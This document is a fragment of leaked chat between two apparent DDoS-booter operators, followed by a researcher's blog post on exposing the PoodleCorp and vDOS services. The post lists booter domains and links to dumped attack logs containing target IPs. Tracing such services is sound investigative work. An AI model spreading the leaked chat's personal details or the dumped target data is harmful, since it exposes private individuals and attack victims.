358    I made a HF account and saw that someone posted about the SSL. It was probably them.    1464534307    Unknow
359    Yeah, that's exactly what I told Jesse..    1464534409    P1st
360    http://prntscr.com/b9tk6w here's the original post    1464534419    P1st
361    "[29/05/2016 05:54]P1st: And yeah, it is, I have a feeling that it was Bear" the person who said hi?    1464534483    Unknow
362    The image isn't loading btw, can you give me the imgur image link>    1464534565    Unknow
363    I got it, hmm, that's what I saw on the thread.    1464534631    Unknow
364    Are you using Universal SSL now or are you using Full SSL with a free certifcate?    1464534811    Unknow
365    Universal SSL, and yes, Ris was the only one who had access to this chat, and since it wasn't you or me I assume that he shared the link with Bear..    1464535100    P1st
366    When you registered the SSL certifcate did you upload any documents?    1464535171    Unknow
367    Are you talking about the EV SSL?    1464535201    P1st
368    Yeah    1464535232    Unknow
369    Jesse did, he also registered the company for me    1464535309    P1st
370    why?    1464535656    P1st
371    :/    1464538945    P1st
372    I was just wondering.    1464542779    Unknow
373    Hi    1464552374    Unknow
374    :3    1464552410    Unknow
375    :3 :3 :3 :3 :3 :3 :3     1464552455    Unknow
376    Hi    1464552458    P1st
377    Woah, calm down lol    1464552465    P1st
378    :(    1464552482    Unknow
379    Sorry (hug)    1464552490    P1st
380    uhm, ris just sent me this:    1464552518    P1st
381    Should have replaced " :3" instead of just ":3" otherwise you can do h:3. Pretty sure that's not Skype's functionality.    1464552543    Unknow
382    Actually, it might, I miss Skype :( What did he send?    1464552582    Unknow
383    http://image.prntscr.com/image/56a884c84e6a404d862afb85fb957d11.png, I have no idea who it was lol, doesn't matter as the chat is password protect now I guess    1464552660    P1st
384    Are you sure it wasn't me?     1464552805    Unknow
385    I am using Tor so it was probably me.    1464552820    Unknow
386    I mean, it wasn't me who sent the message but are you sure it wasn't my IP that you found.    1464552880    Unknow
387    I'm back sorry, I was showering, checking this..    1464554982    P1st
388    What the heck..    1464555081    P1st
389    looks like it was you after all lol: http://image.prntscr.com/image/5a571fa2cb104facbdfadc1d38289959.png    1464555113    P1st
390    Do you have any idea who it was?    1464555379    P1st
391    I mean who sent the message    1464555491    P1st
392    Hmm, no, but the IP you gave is incorrect.    1464556024    Unknow
393    Do you still have the chat log?    1464556039    Unknow
394    Yup, and pretty sure that was the correct IP    1464556140    P1st
395    1s    1464556151    P1st
396    We're talking about this message, right?     1464556335    P1st
397    http://image.prntscr.com/image/809d60f32c4f48e8ab7310d5d55b22ac.png    1464556340    P1st
398    No    1464556383    Unknow
399    It was 'Hi'    1464556414    Unknow
400    Hm?    1464556450    P1st
401    Give me the full chat log please, upload it to a text document.    1464556488    Unknow
402    with the date    1464556496    Unknow
403    Hang on, wtf, I think that was it but it wasn't me.    1464556743    Unknow

RIP vDOS, uStress, vStress, PoodleCorp

It all begun one day in July when I couldn’t get on Pokemon GO. Like apparently millions of others. A group called PoodleCorp claimed responsibility for paralyzing Niantic’s servers. Their reasons: “because chaos is entertainment”. Was this true and could I do something to fight this idiocy? I wanted to find out.

In September the people behind PoodleCorp’s DDOS attacks were arrested in Israel. To my knowledge this happened mainly based on the information I gathered and sent to Niantic, Blizzard, Brian Krebs, and others. The material was forwarded to the FBI (by which of these, I don’t know exactly).

It is difficult to say what part of Pokemon GO’s outages were due to DDoS. It appears that at least eventually Niantic (with help from Google) was able to mitigate the attacks very effectively.

PoodleCorp tried to monetize their media attention and started advertising PoodleStresser, a DDOS service tool that, as it turned out, used vDOS as it’s attack back-end.

The vDOS web server hosted a few other sites, mostly booter/stressers:

  • 83144692.com
  • api.vdos-s.com
  • huri.biz
  • trigon.io
  • ustress.io
  • vdos-s.com
  • vstress.net

I’ll be posting stuff I found there and on other servers in this attack infrastructure. I am busy so I can’t say anything about the time frame.

Brian Krebs has posted the attack logs dump from vDOS’s database I provided. Here is a bigger attack log that spans a longer time period and includes attacks from several booters: api_requests.csv.gz (not pdf! Save and rename to .csv.gz)

I post-processed it from the https://api.vdos-s.com/ Apache access log. The fields are mostly self-explanatory. The source IP refers to the booter server that sent the attack request. The config field refers to the PHP file processing the request, “bigpein” and “bigdongs” being PoodleStresser’s scripts.

[New] The original access log is at https://www.sendspace.com/file/4jef3u, 46 mb gzip. It contains mostly booter traffic post-processed/condensed in the csv but also some video sharing and internal chat system requests.

The file does not have information about which customer initiated the attack. Most of these are from vDOS and other booters hosted on the same server (IP changed twice) but some of them we haven’t identified.

I haven’t had time to look up the target IP’s there. It should overlap with what Brian posted. Feel free to comment here if you find anything interesting. There are about 895,000 attacks in that file. Some of the first ones are probably tests made by the developers.

The biggest attacks (against Niantic, Blizzard, etc.) were not made through the booters but by AppleJ4ck with command line tools. I will post command line histories and other logs later.

Stay tuned for more!

Twitter: @drowzeepok

Note to media: don’t call DDoSers “hackers”. They generally can’t hack. Some of these kids know the basics of PHP but mostly use attack tools written by others. They aren’t more skilled than the general population; they are more malicious, irresponsible, greedy, and stupid than the general population.